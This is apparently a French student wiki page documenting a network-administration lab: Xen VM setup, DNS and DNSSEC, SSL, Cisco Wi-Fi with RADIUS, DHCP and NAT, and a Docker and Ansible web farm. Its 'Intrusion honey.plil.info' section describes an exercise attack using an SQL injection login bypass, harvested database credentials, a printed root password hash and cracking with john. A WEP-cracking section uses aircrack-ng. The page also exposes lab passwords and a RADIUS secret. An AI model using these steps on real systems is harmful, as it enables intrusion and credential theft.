Le fichier &amp;lt;code&amp;gt;index.html&amp;lt;/code&amp;gt; dans lequel se trouve le contenu du site web doit se trouver dans le même répertoire que le &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Construction et lancement de l'image docker'''&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserver .&lt;br /&gt;
On aurait pu mettre girolle au lieu de webserver par exemple.&lt;br /&gt;
 docker run -d webserver&lt;br /&gt;
&lt;br /&gt;
On vérifie que l'image est construite et lancée correctement avec les commandes &amp;lt;code&amp;gt;docker images&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker ps -a&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Dépôt docker local''' &lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on installe un dépôt local qui accueillera notre image docker.&lt;br /&gt;
 docker run -d -p 5000:5000 --restart always --name registry registry:2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Autorisation d'un dépôt non sécurisé'''&lt;br /&gt;
&lt;br /&gt;
Par défaut, la connexion se fait en HTTPS. Comme ici les différents dépôts ne sont pas sécurisés, on doit autoriser la connexion en HTTP. Pour cela, on ajoute un fichier deamon.json sur nos deux machines dans &amp;lt;code&amp;gt;/etc/docker/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 {&lt;br /&gt;
   &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.2:5000&amp;quot;, &amp;quot;192.168.42.4:5000&amp;quot;, &amp;quot;192.168.42.5:5000&amp;quot;, &amp;quot;192.168.42.7:5000&amp;quot;, &amp;quot;192.168.42.9:5000&amp;quot;, &amp;quot;192.168.42.12:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
Puis &amp;lt;code&amp;gt;service docker restart&amp;lt;/code&amp;gt; pour que le changement soit pris en compte.&lt;br /&gt;
&lt;br /&gt;
'''Exportation depuis &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; vers la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker tag webserver 192.168.42.7:5000/webserver&lt;br /&gt;
 docker push 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
'''Récupération de l'image docker dans &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
Pour déployer notre conteneur web automatiquement sur toutes les VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; on crée un nouveau rôle. On utilise le port qui nous est alloué : le 8087.&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; contenant un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le playbook on crée une seconde partie avec pour hôte &amp;lt;code&amp;gt;webinterne&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
'''Playbook complet &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;br /&gt;
&lt;br /&gt;
Dans notre VM sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; on peut alors lancer le playbook (après que le push et le pull aient été fait sans erreur).&lt;br /&gt;
 ansible-playbook first_play.yml&lt;br /&gt;
&lt;br /&gt;
Notre conteneur web s'est déployé correctement sur les VM des groupes 4 et 5. Les autres Vm n'ont pas tous les packages nécessaires (docker ou docker-py) ou ne sont pas joignables.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
===Équilibreur de charge (load balancer)===&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55013</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55013"/>
				<updated>2020-12-18T22:56:50Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Ferme de serveurs web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
===Architecture générale de la ferme===&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles, l'une sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA), l'autre sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
